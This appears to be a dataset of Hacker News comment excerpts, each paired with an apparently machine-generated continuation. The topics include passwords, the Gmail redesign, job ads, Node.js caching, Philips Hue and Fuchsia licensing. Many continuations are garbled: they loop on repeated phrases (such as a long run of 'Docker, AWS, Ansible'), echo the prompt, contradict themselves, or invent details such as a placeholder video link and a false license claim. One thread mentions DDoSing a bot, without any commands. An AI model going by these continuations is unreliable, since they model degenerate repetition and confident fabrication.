\"phpbb\" and \"password\". Their forums force people to\ncreate an account they don't want, so they pick a dumb password. (I had to ask\na phpbb question once. I think I used 1234 as my password.)\n\nFinally, Myspace is Myspace, and has commonly-ocuring gems like \"poop\" and\n\"nigger1\". Ah, high school kids...\n\n~~~\nsketerpot\nI just use the same username and password for all sites I don't care about\nthat much. That way if I ever come back again I can just log in easily, and\nthe process of signing up is so familiar I could do it in my sleep.\n\nNo, the real issue is password questions. \"What is your mother's maiden name?\"\n\"In what city were you born?. Those always seem like a security hole,"} +{"output_text": " you'd want to do that.\n\n~~~\njoshstrange\n>Are you really going to need to have the text there after using the button a\nfew dozen times?\n\nI'm not sure I understand your point. The text is there, it's just a tooltip.\nI don't see how that's a problem.\n\n>Are you going to suffer from RSI from moving your mouse up the screen each\ntime you view your inbox? Not sure", "input_text": " up so much space, that the square\nleft for the actual email message has become rediculessly small.\n\nIf they offered simply a \"super-compact with no fixed bs\" option, I would be\nhappy. The rest of the new design I really don't care about.\n\n------\ndlaw\nI was an intern at Google when this change was first rolled out internally.\nGoogle employees had quite similar reactions.\n\nThe change was not implemented because people liked it, or didn't like it --\nit was implemented because there was cold, hard data showing that new users\nutilized the new design more effectively than the old design.\n\n~~~\ntyppo\nWhat were the metrics used to determine that the design is \"more effective\"?\n\n------\ncjfont\nSome comments:\n\n _\"A major problem that I have with the new interface is that Gmail has gone\nfrom text-based buttons to an icon-only design.\"_\n\nThe text is there, it's simply been converted into tooltips. Are you really\ngoing to need to have the text there after using the button a few dozen times?\n\n _\"The bad is that the compact is hard to read, and comfortable displays less\ninformation than the classic Gmail design.\"_\n\nPerhaps it's because I'm using a custom theme and so my view is different, but\nI don't really see much different between \"compact\" and the old design.\n\n _\"Google has also removed the bottom toolbar from the interface. So if you're\nat the bottom of your inbox, you have to move the mouse back up to the top of\nthe screen to archive, spam, mark messages read, and so forth.\"_\n\nSeriously? Are you going to suffer from RSI from moving your mouse up the\nscreen each time you view your inbox? Not sure why"} +{"output_text": " for a job now?\n\n------\njoeclark77\nI've been in the same situation. I was a recent college graduate with no\nexperience, and I was hired as a software engineer at a small company. I was\nthe only one in the office, and I was the only one who knew anything about\nprogramming. I was the only one who knew how to use a computer. I was the only\none who knew how to use a debugger. I was", "input_text": " cop and\ngood cop, run.\n\n3) if they don\u2019t ask you any personal questions it means they will not care\nabout you.\n\n------\npurpleD\nI think this is the biggest factor when I take a job. Do I like the boss? I\nsay the beer test - would I enjoy hanging out with this boss socially. I'm not\nsaying I would, in fact I rarely have with my bosses, but someone who seems\nlike I could be friends with is someone I want to work for.\n\nThis has lead to me mostly working for bosses with good people skills which is\nrare to find in tech. I hate working for socially obvlivious robot programmers\nwho can't solve people problems.\n\n------\nlhnz\nThere's no foolproof way of detecting bad bosses and environments.\n\nWhat you need to learn is:\n\n(1) How to deal with difficult people. It's very likely that you'll have to\ndeal with personalities and egos like this at some point no matter how\ncarefully you attempt to situate yourself.\n\n(2) How to make yourself marketable enough that you can easily walk from\nuncomfortable workplace cultures. At some point you're going to work with a\ncolleague or in a company that you cannot stand, so be ready for this.\n\n------\ncubano\nWell then, do better and don't look back.\n\nThere is no shame in taking a first job out of college and realizing it wasn't\nmeant to be.\n\nWorking at your age should be akin to dating...you should have no guilt or\nissue with realizing you acted without having complete information and perhaps\njumped into something that wasn't, in the end, right for you.\n\nWhy not start actively shopping"} +{"output_text": " web is a huge source of information, it's not surprising that\nGoogle is using it.\n\n~~~\namk_\nI'm not sure I understand your point.\n\nGoogle's knowledge graph is a graph of facts, not a graph of web pages.\n\nThe fact that Google's knowledge graph is a graph of facts is not a\nsurprising thing.\n\nThe fact that Google's knowledge graph is a graph of facts is not a\nsurprising thing.\n", "input_text": " you will be missed.\n\n~~~\njohnmaguire2013\nReally? The only lyrics sites I can stand are SongMeanings & RapGenius because\nthey aren't coated in ads and people can explain stuff. AZLyrics is one of my\nleast faves, with MetroLyrics coming in as a fave after the other two.\n\n~~~\npsykovsky\nThe only lyrics sites you can stand are the ones who are burning through\ninvestors millions, you mean.\n\n~~~\njessaustin\nIf someone is going to spend a lot of money in order to provide a more\npalatable free service, it just seems sensible to take advantage of that?\n\n------\ncuriously\n\n party in the usa lyrics\n \n\nstill yields azlyrics.com but that might change soon.\n\nI welcome this, it saves a lot of clicking and viewing ads (not that I do\nsince adblock is installed) but on mobile phones and such.\n\n------\namk_\nEdit: Fine, too rambly. Short version.\n\nGoogle Now or Siri are killing the page as a medium for certain types of\ncontent, and I would not be surprised if the info providers transition to an\nAPI-first model where the primary target is layout-agnostic and possibly\nsupported by micropayments.\n\n~~~\nnl\nThis is inaccurate.\n\nGoogle's primary source for their knowledge graph is semi-structured data on\nweb pages, not APIs. Notably, that claim 1200M \"facts\" (of which 8% have \"high\nconfidence\") extracted by understanding web page DOM structure. That compares\nto 140M \"facts\" from human annotations on web pages, with 0.2% high confidence\n(ie, \"semantic web\").\n\nGiven that the"} +{"output_text": " Software Engineer | Full-time | ONSITE\n\nThe Department of Computer Science at Boston University is looking for a\nsoftware engineer to join our team. We are looking for someone who is\npassionate about software development and who is excited to work on a variety\nof projects.\n\nWe are looking for someone who is comfortable with a variety of technologies\nand who is excited to work on a variety of projects. We are looking for\nsomeone who is comfortable with a variety of technologies", "input_text": "respond to end-consumer demand.\n\nWe are post-revenue, well funded by leading VCs, and winning contracts from\nwell known brands. Our small team has diverse backgrounds and experience in\nanalytics, large-scale enterprise SaaS, and retail and financial technology.\nCulture really matters to us: we value diversity in all forms and strive to\nfoster integrity, respect, and open communication.\n\nWe're committed to make enterprise software inspiring. We use Google Cloud\nPlatform, Postgres, Redis, Python, Java and React, all wrapped in strong\ndesign.\n\n== About You ==\n\nYou thrive in a small team where you can build technology from the ground up.\nYou love to pick up new tech, get good at it fast and do something creative\nwith it.\n\nYou don\u2019t shy away from even the most challenging problems and are relentless\nin always looking for better solutions. You are self-motivated and enjoy\nworking with others towards a common objective. Building software is the means\nto an end: you want to change the way an entire industry operates.\n\nAs an engineer at Alloy, you\u2019ll do any or all of the following:\n\n* Model parts of the supply chain and develop features that bring them together\n\n* Automate the collection, parsing, and storage of huge volumes of data\n\n* Design a flexible but blazing-fast analytics framework that powers instant insights\n\n* Build beautiful, easy-to-use apps that our customers love to use\n\n* Dive into server provisioning, deployment, automation, and monitoring\n\nWe would love to hear from you - send me a note at evan@alloy.ai\n\n~~~\nkylepdm\nHow big is the Vancouver office?\n\n------\nacketon\nBoston University |"} +{"output_text": "_sentences)),\nwhich is a list of sentences that are grammatically correct, but are not\nidiomatic.\n\n------\njamesbritt\n\"The problem with the word 'had' is that it is a verb, and verbs are\nuncomfortable in the middle of a sentence.\"\n\nI've always thought that the problem with the word \"had\" is that it is a\nnoun.\n\n~~~\njamesbritt\n\"The problem with", "input_text": " old puzzle book I had\u2014had had?\u2014as a kid. I find it much like the\nBuffalo sentence, in that you puzzle over it for a while, are told the\nresolution, and then say \u201cHuh. OK, if you say so.\u201d)\n\nEDIT: While my mind's on random funny sentences, this one was an old favourite\nof my mother's (who taught me all the grammar I know) from _Cheaper by the\nDozen_. It is the reaction of a child, whose bedroom is on the second floor,\non being presented with an unacceptable evening's reading: \u201cWhat did you bring\nthat book you know I don't like to be read to out of up for?\u201d\n\n~~~\npvg\nMore hads can be had there -\n\n[http://en.wikipedia.org/wiki/James_while_John_had_had_had_ha...](http://en.wikipedia.org/wiki/James_while_John_had_had_had_had_had_had_had_had_had_had_had_a_better_effect_on_the_teacher)\n\n~~~\nJadeNB\nThat's beautiful! It must be 20 years that I've been subconsciously bothered\nby that puzzle, because I couldn't understand what \u201cmore fun\u201d was supposed to\nmean in that context. With \u2018where\u2019 in place of \u2018while\u2019 and \u201ca better effect on\nthe teacher\u201d in place of \u201cmore fun\u201d, it sudddenly makes sense.\n\nAlso, the linked article links to \u201cList of linguistic example sentences\u201d\n([http://en.wikipedia.org/wiki/List_of_linguistic_example_sent...](http://en.wikipedia.org/wiki/List_of_linguistic_example"} +{"output_text": "\nstate in memory, so it might not be a huge win.\n\n~~~\nvkjv\nI think the problem is that the state is not being shared between processes.\n\n~~~\nstevebmark\nI think you're right, but I'm not sure how to solve that problem.\n\n~~~\nvkjv\nI think the solution is to have a shared memory cache that is shared between\nall the processes.\n\n------\njoshstrange\n", "input_text": " juggling error codes.\n\n------\nsuzzer99\n> On each server, rules are retrieved from Redis and cached in-memory using an\n> LRU-cache. As node.js is not multi-threaded, we spin up 4 instances of\n> node.js per server, 1 instance per CPU core. Thus, we cache in-memory 4\n> times per server. This is a waste of memory!\n\nThis is completely standard and the only way to do node in-memory caching.\nThink of each worker as a completely independent node process, which is only\nbound to the cluster by a master process which has the ability spawn and kill\nchild cluster processes.\n\n~~~\nvkjv\n> This is completely standard and the only way to do node in-memory caching.\n\nThis isn't accurate you can use shared memory. There are a few modules that\nimplement this. In addition, you can offload the JSON.parse to the dedicated\n\"caching\" process that updates the shared memory.\n\n~~~\nsuzzer99\nDo you have a link that describes an example of this?\n\nOk nevermind, google is my friend:\n[https://github.com/PaquitoSoft/memored](https://github.com/PaquitoSoft/memored)\n\nI can see where this would come in handy. But at 240MB total resident memory\nper CPU across 4 node workers that OP describes, I wouldn't hassle with it.\n\n------\nstevebmark\nre: multiple processes duplicating memory, would a single menmcache instance\nor similar solve this problem? I don't have any perspective on how that would\nperform at scale vs individual programs reading from application state.\nAlthough thinking about it, each process would probably have to store all that"} +{"output_text": " a trojan into a source code repository is a bad idea.\n\n~~~\nhelwr\nI agree. I was just trying to get the word out there.\n\n------\nhelwr\nI'm not sure if this is a trojan or not. I'm not a security expert.\n\nI'm just a guy who's been using Linux for a long time and I've seen this\nhappen before.\n\nI've seen this happen to a lot of people.", "input_text": " working.\n\nSo far we like it. It helps people feel more comfortable being unreachable for\na period of focused work. As a founder, I get a sense that it can help make\npeople do the stuff that matters, vs. wasting time chatting on Slack.\n\nWe'd still like to see more features around supporting different time zones\n(we're spread across 9 time zones, so it can be easy for people further east\nto just keep working when getting pinged by people further west).\n\n \n\nAsk HN: Women in Silicon Valley - ayliyazem\n\nI read that the total number of woman living in silicon valley is extremely low compared to the total number of man living in silicon valley. And that woman account for less than 10 percent of the total number of board directors in the valley. What can we do about that?! (well, at least there is one advantage: as a startup you won\u2019t have to waste your time on visiting hundreds of Weddings every month :-))\n======\nayliyazem\nHaha!! Well, me too! But I think more women need to be inspired to do the\nsame! Would be a fun challenge!\n\n------\nrachelbythebay\nBreak out and start your own company? That's what I'm working on.\n\n \n\nLinux Trojan rears its ugly head - helwr\nhttp://www.sophos.com/blogs/chetw/g/2010/06/12/linux-malware-rears-ugly-head/\n\n======\nalttab\nThe title is inflamatory, sensational, and misleading - albeit effective.\n\nAs others have pointed out, this isn't a \"linux trojan\" as much as it is a\n\"software source code repository hack.\"\n\nDropping"} +{"output_text": " may lead to\nerrors.\n\n~~~\njessaustin\n_How is this different from any other academic research?_\n\nIt's not. It's just a different kind of research.\n\n~~~\nxixi77\nI don't think so. The difference is that the code is not meant to be used by\nother people, but to be used by the author of the paper.\n\n~~~\njessaustin\nI don't think that's a", "input_text": " the Austrian school after the financial crisis\nand the recession.\n\nI agree that from a purely academic point of view this is nothing big to worry\nabout, but this paper played a completely outsized role. And the authors stood\nby and let things run their course, without any attempt to reign in or\nmoderate the debate.\n\n[https://en.wikipedia.org/wiki/Growth_in_a_Time_of_Debt](https://en.wikipedia.org/wiki/Growth_in_a_Time_of_Debt)\n\n~~~\nlinhchi\nFair enough, but i add that academic life is sad, one has to pursue one's\nendeavor at one's own cost. However, politicians and the public want too much\nfrom us researchers. So sometimes, we do believe that our sweating formulas\nhave life impact, or to fancy, save the world.\n\n------\nxixi77\nHow is this different from any other academic research? What he is asking\nabout is neither openness nor reproducibility (which are, indeed, very\nimportant). He is asking that researchers produce code that he can put into\nproduction. Not only they have negative incentives to do so (for one,\nproviding such code will surely result in a stream of all kinds of support\nrequests), it would actually work against the reproducibility objective.\n\nThe purpose of the code written is usually very simple: to produce results of\nthe paper, not to provide a tool other people can use out of the box. Even\nwhen such a tool is nominally provided (for example, when a statistics paper\nis accompanied by an R package), there are good reasons to be very careful\nwith it: for example, the paper may include assumptions on valid range of\ninputs, and using the package without actually reading the paper"} +{"output_text": ". Systrom, who had been a Facebook employee for only a few months,\nwasn\u2019t about to let the firm\u2019s investment in Burbn, a photo-sharing app, go\nunpunished._\n\nI'm curious about the extent to which you can avoid disclosing information to\nyour investors, once it becomes clear that they are competing against you.\n\n~~~\njoshu\nI think you can't avoid disclosing information to your investors.\n", "input_text": "izes their investment potential on any given deal? I wish I would have\nbought Apple stock in 1998 instead of 2005, but I wouldn't say I \"fumbled an\ninvestment opportunity.\" When I first saw this headline, not knowing the\nbackstory, I thought this meant that they did something to piss off the\nInstagram founders and lost out on the chance to put anything into the company\nat all.\n\n------\nrexf\nWas the NYT headline updated? It currently reads 'How Andreessen Horowitz\nBunted on an Instagram Investment'.\n\nThe piece describes how Andreessen Horowitz invested in both Burbn & Picplz.\nAfter Burbn pivoted to Instagram, Andreessen Horowitz had to choose between\nthe two - since they competed directly. Andreessen Horowitz chose to go with\nthe company that they put money for photo sharing.\n\n~~~\ndkrich\nHa, it must have been, because the URL still says \"fumbled.\"\n\n------\nsriramk\nAlso tells you how difficult it is to figure out who is going to make it big.\npicplz had Dalton Caldwell, both an Android and an iPhone version and a\nseveral month head start. You can't blame a16z for picking them.\n\nBesides, it looks like they did the most ethical/default thing they could -\nback the company they had already funded for photo sharing and avoid a\nconflict.\n\n------\nbravura\n_It was a calculated bet against Instagram and it left Mr. Systrom livid,\nthese people said. Instagram\u2019s founders never discussed strategy with the firm\nagain._\n\nCurious: To what extent can you avoid disclosing information to your\ninvestors, once it becomes clear that they are competing against you.\n\n _But Mr"} +{"output_text": "say $5/user/month) and I want to be able to see what licenses are in use and what licenses are not in use.

I'm not looking for a full-blown SaaS solution. I just want to be able to see what licenses are in use and what licenses are not in use. I don't want to have to install a bunch of software on each PC.", "input_text": ",\nand once I had what I wanted running with exact real arithmetic, I could\nswitch back to floats to make it faster.\n\n------\ndang\nUrl changed from [http://lambda-the-ultimate.org/node/5581](http://lambda-the-\nultimate.org/node/5581), which points to this.\n\n~~~\nKinrany\nI initially decided against posting the video because the thread has a small\namount of discussion.\n\nMainly the link to related work: Seven Sketches in Compositionality,\n[https://arxiv.org/abs/1803.05316](https://arxiv.org/abs/1803.05316)\n\nEdit: previously on HN:\n[https://news.ycombinator.com/item?id=20376325](https://news.ycombinator.com/item?id=20376325)\n\n \n\nWhy is there no SaaS asset management service? - dankohn1\n\nI'm looking to manage application software on about 50 Windows PCs to ensure that we have bought all the licenses we need.

Almost every company in the space has a 100 or 500 seat minimum. I've looked at Dell Kace, Express Metrics, Scalable, Snow Software, TrackIt, iQuate, and Front Range. All of these sites include Products, Services, and Partners in the top-level navigation but never Pricing.

All I want is a link to an installer I can get every person in the company to run, and then a web-based dashboard where I can see what they have installed. Remote install and uninstall would be great but is not essential. I want to be billed a small amount per user per month ("} +{"output_text": ".com/watch?v=0_0_0_0_0](https://www.youtube.com/watch?v=0_0_0_0_0)\n\n~~~\nAnimats\nThat's a video of a fire in a wood-frame building. It's not a fire in a\nconcrete-frame building.\n\n------\njessaustin\nI wonder if the fire was caused by the sprinkler system.\n\n~~~", "input_text": "ynnott\nAssuming you're talking about Grenfell, that was an old concrete building. The\nfire was so deadly due to improperly specced and/or installed exterior\ncladding which had recently been added; nothing to do with wood.\n\n------\neksemplar\nIs the clue and fire resistance safe to breathe though?\n\n------\nanovikov\nIt's rather stupid to worry about global warming here, as concrete use in\nFrance is less than 1% of what it is in China anyway.\n\n------\nAnimats\nThis trend towards large multi-story timber apartment buildings is worrying.\nThat used to be prohibited in many US jurisdictions. Now I see San Jose and\nRedwood City putting up lots of these things. \"Luxury apartments\" made of\nchipboard. The fire protection people aren't happy about this.[1]\n\nThere's a fad for \"podium buildings\". The first two floors are steel and\nconcrete, and then there are a few floors of wood. These appear in areas where\nyou're not allowed wood construction for commercial buildings. The bottom\nfloors are commercial; the upper floors are residential.\n\n[1] [https://community.nfpa.org/community/nfpa-\ntoday/blog/2017/03...](https://community.nfpa.org/community/nfpa-\ntoday/blog/2017/03/21/recent-fires-in-apartment-buildings-under-construction-\nhighlight-the-importance-of-developing-a-fire-safety-program-and-designating-\na-fire-prevention-manager-during-construction)\n\n~~~\njkaljundi\nModern wood is much more fire resistant than concrete or steel\n[https://www.youtube"} +{"output_text": "WS), Docker, Ansible, PostgreSQL, Redis, Elasticsearch,\nDocker, AWS, Ansible, Docker, AWS, Ansible, Docker, AWS, Ansible, Docker,\nAWS, Ansible, Docker, AWS, Ansible, Docker, AWS, Ansible, Docker, AWS,\nAnsible, Docker, AWS, Ansible, Docker, AWS, Ansible, Docker, AWS, Ansible,\nDocker, AWS, An", "input_text": " isomorphic Redux apps backed by a shared NodeJS API. We have CI and CD\nprocesses in place, and make use of docker-based microservices via Iron.io. We\nhave plenty of challenges to tackle from predictive analysis to optimizing\nfulfillment operations.\n\nWe're looking for a senior Software Engineer who's comfortable writing backend\ncode and dealing with docker and aws. Our stack is react (and redux), node,\npostgres, docker and aws.\n\nIf this sounds like you reach out at info+hn@thefarmersdog.com\n\n------\nQuelqueChose\nPartoo | [http://www.partoo.fr/](http://www.partoo.fr/) | Paris | ONSITE\n\nHelp our clients maintain an awesome online presence in an exciting startup\nenvironment. We\u2019re looking to hire talented developers to help us build and\ndesign new products on both our front and back.\n\nPartoo helps our customers taking advantage of the best qualities of spreading\ntheir info and products online. Imagine openness, collaboration, good coding\npractices, workflow automation all made possible thanks to your contributions.\nIn Partoo, you would play a crucial role in our company\u2019s success. Your\ncontributions to our state-of-the-art solution will make or break our goal to\nbring happiness to the lives of business owners from small to big companies\n(Carrefour, Auchan, Effia, and so on...).\n\nAll of this while working out of an incubator (p\u00e9pini\u00e8re) in the heart of\nParis. Intrigued? Search us on angel.co for more details.\n\nSome of our stack: Python (Pyramid), JavaScript (React, jQuery), MongoDB,\nAmazon Web Services (A"} +{"output_text": "patches, etc.) to break the standard.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a\n\"boycott\".\n\nI don't see how this is a boycott of Philips.\n\nI don't see how this is a boycott of Philips' products.\n\nI don't see how this is a boycott of Philips' products.\n\nI don't see how this is", "input_text": "3&keywords=philips+hue+hub)\n\n------\nrevelation\nNot sure why people are screaming \"boycott\". Philips never advertised their\nsystem as being compatible with third-party lights. The fact that they use an\nopen protocol to communicate with their own lights doesn't change this.\n\nIt's like connecting to your office chat with an IRC client because you\nfigured out that's what they are using under the hood. Why would you scream\nbloody murder when one day your IRC client stops being compatible with it?\nThey never advertised this to begin with!\n\nYou can't exactly demand functionality that you were never sold.\n\n~~~\nHelloNurse\nNot bothering to test and actively support devices from other vendors would be\nreasonable, but customers have the expectation that a product does a decent\neffort to respect the standard; whitelisting a subset of Philips lightbulbs\nand deliberately refusing to work with anything else means giving users a bad\nproduct for the sake of anticompetitive business practices. This kind of\ndeliberate, obviously harmful abuse is worse than merely reckless behaviour\nlike the Superfish scandal or the Windows 10 update that uninstalls user\nsoftware.\n\n~~~\nrevelation\nExcept I don't think Philips advertised that they are using an open standard.\nIt's just what they used for the implementation.\n\nThey are free to mutilate that standard as they see fit for their own product,\nand since they didn't make it into a selling point, there is no reason for\nthem to expect compatibility.\n\n~~~\nHelloNurse\nIn the world of customers who prefer trustworthy vendors, there's a\nsubstantial difference between not wanting to spend money to respect a\nstandard any more than advertised, and deliberately spending money (firmware\n"} +{"output_text": " machine, but I have\nalways been able to do so because I have a good understanding of the\nmechanics of the machine, and the parts that are likely to fail.\n\nI have never been able to repair a Staber, because I have never seen one.\n\n~~~\njandrese\nI have a Staber and it's a great machine. I've had it for about 10 years and\nit's still going strong.\n\nThe only problem is that", "input_text": " just a suspicion, it\nwould make sense: I do know that the (monolithic) spare parts are stocked for\na particular model for less time, which means that the prices of the spares\nwhich are available are very high.\n\nWater efficiency regulations also appear to have forced modern washing\nmachines to use inadequate water for rinsing. There are numerous stories of\nhypoallergenic people who find that their new washing machine leaves\nsignificant detergent in clothing. Some people have even tracked down old (and\nfor that matter better made) washing machines just to get one which will rinse\nproperly. At other times the actual temperature of the water on the '60\ndegree' setting has been tested and found to be rather on the low side.\n(Supposedly all of this efficiency regulation, rather pathetically, only tests\nthe 60 degree programme in the first place, putting a certain degree of\ncompetitive pressure on energy efficiency for this setting.) This is\nparticularly insane given that the environmental cost of these quasi-\ndisposable 2-year-warranty washing machines must be much higher than the\nenvironmental cost of their resource consumption.\n\nI think consumer goods legislation should recognise that different minimum\nwarranty periods are appropriate for different kinds of product. A legally\nrequired minimum warranty period of 6 or 8 years for washing machines, for\nexample, would instantly create pressure on manufacturers to increase the\nlongevity and repairability of their machines.\n\n~~~\nlogfromblammo\nI am only aware of one brand of washing machine that explicitly claims to be\ndesigned to be repairable by the end-user--Staber. I have never actually owned\nor used one before, so I'm not sure how fit for purpose it may be otherwise.\n\nI have successfully repaired other brands of washing"} +{"output_text": " interested in a more in-depth look at the situation in Taiwan,\nI'd recommend reading this article:\n[http://www.theatlantic.com/technology/archive/2012/10/the-\nta...](http://www.theatlantic.com/technology/archive/2012/10/the-taiwan-\ninternet-crisis-is-a-test-of-the-internet-as-we-know-it/", "input_text": "\nCloudFront _is_ S3-backed CDN.\n\n~~~\ncoderdude\nYou can use S3 as an origin server for CloudFront but it's not serving files\ndirectly from S3. CloudFront has \"edge locations\" that you can push files to\nfrom S3 -- which \"stores the original, definitive versions of your files.\"[1]\n\n[1] \n\n~~~\ndredmorbius\nThanks. Still picking this up myself.\n\n~~~\nenjo\nIt's important to note that Cloudfront also supports custom origins, so it\ndoesn't even have to involve s3 these days.\n\n------\nxiaoma\n> _\"Some big cities like Taipei, Beijing, and Singapore have government\n> sponsored free public wireless more or less all throughout the city\"_\n\nBullshit. I just moved from Beijing. Not only is there no government sponsored\nwireless all throughout the city, but internet cafes must record each\ncustomer's ID info before you can log-on. Even McDonalds' free internet for\ncustomers requires identification (which is troublesome for foreigners or\nanyone without national ID cards).\n\nI was in Singapore less than three months ago, and found no public free wifi\nduring my stay. On the good side, many, many cafes there offer wifi and it's\nnot locked down like in Beijing.\n\nTaiwan, on the other hand is making strides with their new service rolled out\nlast October.\n\n------\nswiecki\nThis could really use a lot of editing. Far too much of it is whining about\nslow internet that doesn't reach a meaningful conclusion, but instead\ngeneralizes from his anecdote.\n\nIf anyone is"} +{"output_text": " have a lot of IPs, but that would\nbe a lot of work.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\nxvolter\nI'm not sure either, but I think it's a good example of how a botnet can be\nused to do things that are not necessarily malicious.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n~~~\nx", "input_text": " bot is using a old wordpress hack. How can this kind of thing be\nstopped? I dont mean stopping it after it happens, I mean getting the bot\ndown, maybe like DDOS it or something.\n\n~~~\nxvolter\nThe easiest would be to modify your web server to reject requests to that URL.\nTherefore it no longer causes annoyances. However, if that URL is still being\nused, your best shot is to reject on a per-IP basis.\n\nYou cannot DDOS any server, a DDOS attack works primary on web servers, and\nthe server it's coming from isn't likely to have a web server that matters,\nsince it just redirects DDOSing would be nearly impossible to accomplish\nwithout a huge effort.\n\nWhat may be easier is getting the website shutdown, if you trace the host\nprovider or ISP you can file a claim and possibly get their connection or\nhosting turned off.\n\n~~~\nbmelton\nI don't mean to seem critical, but\n\n1) it would be slightly better to DROP requests to the URL than to reject them\nand\n\n2) you can DDOS plenty of other servers besides web servers. You're right of\ncourse that there likely isn't a server attached to the IP address (though you\ncould likely tie up at least the one thread with programmatic recursion /\nredirects), but DDOSing isn't particular to web servers at all.\n\n~~~\nxvolter\nNo, but DDOSing does require an open listener - the most common and easiest is\na web server. If whoever is trying to use some old Wordpress hacks is smart,\nhowever likely that is, he/she would not have a ton of ports open.\n\nYou can also drop requests if per-IP if you"} +{"output_text": "-licensed, not GPL.\n\n~~~\nbashtoni\nI'm not sure what you mean. The license is GPLv2.\n\n~~~\nAsooka\nThe license is BSD-licensed.\n\n------\njosteink\nI\u2019m not sure I understand the point of this article.\n\nIt\u2019s not like Google is going to release a new version of Android.\n\nIt\u2019s not like Google is going to release a new version", "input_text": " can release code and still violate the GPL in other ways. For example,\nthere are binary blobs out there and the GPL is pretty unequivocal on this\npoint: \"The source code for a work means the preferred form of the work for\nmaking modifications to it.\"\n\n~~~\nsimonh\nIt depends whether the binary blob is a derived work or not.\n\n[http://yarchive.net/comp/linux/gpl_modules.html](http://yarchive.net/comp/linux/gpl_modules.html)\n\n------\nbitL\nSeems like Free Software that propelled early Internet pioneers served its\npurpose and those companies are turning their backs on it - first with Apple,\nGCC->LLVM, now with Google, Linux->Fuchsia :( I am getting afraid of another\ndark age on the horizon... I guess it's going to be inevitable as 90% of SW\ndevelopers will find themselves redundant when inferring AI capable of\ncomposing code blocks and listening to/reading speech/specifications arrives\nin upcoming decade, making creation of typical web/mobile apps trivial.\n\n~~~\nbashtoni\nI think Google is probably the most Free Software friendly of the the new big\nthree (Amazon, Google, Microsoft). They haven't disappointed with Fuschia\nwhich appears to be entirely copyleft:\n\n[https://fuchsia.googlesource.com/magenta/+/master/LICENSE](https://fuchsia.googlesource.com/magenta/+/master/LICENSE)\n[https://fuchsia.googlesource.com/fonts/+/master/LICENSE](https://fuchsia.googlesource.com/fonts/+/master/LICENSE)\n\n~~~\nAsooka\nThat's BSD"} +{"output_text": " be working.\n\n------\njoshu\nI think the problem is that people are not being paid for the value they\ncreate.\n\n~~~\nstevesimmons\nI think that's true.\n\nI think the problem is that people are not being paid for the value they\ncreate.\n\n------\njoshu\nI think the problem is that people are not being paid for the value they\ncreate.\n\n------\nstevesimmons\nI", "input_text": "work they take. So you have many jobs or situations where people are paid to\nsit and many like in medicine where more people might die if you want to sleep\na healthy amount. The time should fit the job. But the pay should fit the\ntime, and then that's the next problem to sove, and on.\n\n------\nneilv\nThat would work for some kinds of work.\n\nBut I live to work, and often work 7 days.\n\nI can't imagine doing a project with delivery time pressure (like a startup\ntrying to execute in a timely manner), working only 4 days, with a 3-day gap.\n\nI'd rather have flexible hours, and an emphasis on working sharp in the hours\nwe do put in -- not have frequent 3-day interruptions of project mental space,\nand putting off gratification in seeing the project come together.\n\n~~~\nstevesimmons\nMe too. I feel very lucky to have found a company that is a perfect fit for my\nskills and interests, and that is at the right stage that me working hard now\nwill make a big difference.\n\nI can't imagine _not_ working 6-7 days a week.\n\n~~~\nApocryphon\nThat's great for the both of you. But workaholics shouldn't get to dictate the\nnorms for the rest of humanity.\n\n~~~\nneilv\nAgreed, no one should dictate norms.\n\nBut I'd rather have expectations of flexibility (e.g., take day off or a short\nday because didn't sleep well, or family activity, or enjoy the nice weather,\nor just finished a work crunch), than (I imagine) expectations that, on those\n4 days, one had better be there the full day and at least"} +{"output_text": "'t hold up.\n\n~~~\nchmaynard\nI agree with you. I think the author's claim is not justified.\n\n------\njimktrains2\nI'm not sure I agree with the author's claim that Python is easier to use than\nC. I've used both, and I think Python is easier to use.\n\nI think the author's claim is that Python is easier to use than C because it\nhas a lot of features that make", "input_text": " C). It's also much simpler to teach programming in than\nalternatives.\n\n------\nchmaynard\nFrom the article: \"Dynamic typing makes Python easier to use than C.\" The\nauthor gives no justification for this claim. Do any language experts care to\ncomment?\n\n~~~\nwinter_blue\nI'm a big fan of strong static type systems. I believe type-safety increases\ncode quality significantly.\n\nI used to think several years ago, that the main benefit of strong static\ntyping was code safety / eliminating a whole class of bugs. But I've changed\nmy opinion. I now think the biggest benefit is that it makes the code _a lot\neasier_ for other people to read and understand.\n\nI mean I have multiple personal projects where I've used Python (which is a\ndynamically typed language), but these are _small one-off_ projects. But I\nthink when working in a team, especially a large team, having types becomes a\nhuge thing. Having types for objects is especially useful. Having types forces\nyou to think more clearly about the structure of your data.\n\nIt's really sad when I see `foo(bar)`, and I have no idea what the type of\n`bar` is, and if it's an object, I have no idea what fields `bar` has. I have\nto simply guess the structure of the various implicit types by looking at the\ncode (sigh). It makes the code difficult to read, and rather unpleasant to\nwork on. Not to mention, all the multitude of bugs that come from duck/dynamic\ntyping.\n\nI don't think good statically typed languages are hard to use at all. Type\ninference has spread everywhere that the old argument of having to repeat your\ntypes doesn"} +{"output_text": "\nlooking for a Machine Learning Data Scientist and Software Engineer to join\nour team. We are looking for a candidate with a strong background in machine\nlearning and data science. The ideal candidate will have experience with\nmachine learning algorithms and data mining techniques, as well as experience\nwith Python, R, and SQL.\n\nWe are looking for a candidate with a strong background in machine learning\nand data science. The ideal candidate will have experience with machine\nlearning algorithms and data mining techniques", "input_text": " efforts.\n\nWe also are doing some things with WiFi in the Offline to Online space, and\nwill be launching a new product offering this year targeted at a much larger\nmarket. We are looking for engineers with the following development\nbackgrounds:\n\n* Linux Kernal\n\n* Device Driver\n\n* Embedded Systems\n\n* Low Level C, C++\n\nPlease email kumar@qlicket.com if interested.\n\n------\nmanicminer\nRoom Key | Clojure Developer | Charlottesville, VA | Full-time, onsite |\nwww.roomkey.com | 2 openings\n\nRoom Key is looking for a software engineer with strong server-side web\ndevelopment experience in a functional language - preferably Clojure - to join\nour back-end web development team.\n\nRoom Key was founded by six of the world's largest hotel companies to lower\nthe cost of hotel distribution for our founders and commercial partners.\n\nWe are located downtown in beautiful Charlottesville VA, the home of the\nUniversity of Virginia and a growing and active tech community. It's a great\nplace to live and work. We are looking for on-site team members and we are\nwilling to help with re-location costs.\n\nRead more:\n[https://www.roomkey.com/careers.html](https://www.roomkey.com/careers.html)\n\n------\nguitarjosh\nMass General Hospital - Center for Clinical Data Science | Machine Learning\nData Scientist and Software Engineer | Boston, MA| ONSITE | Full Time 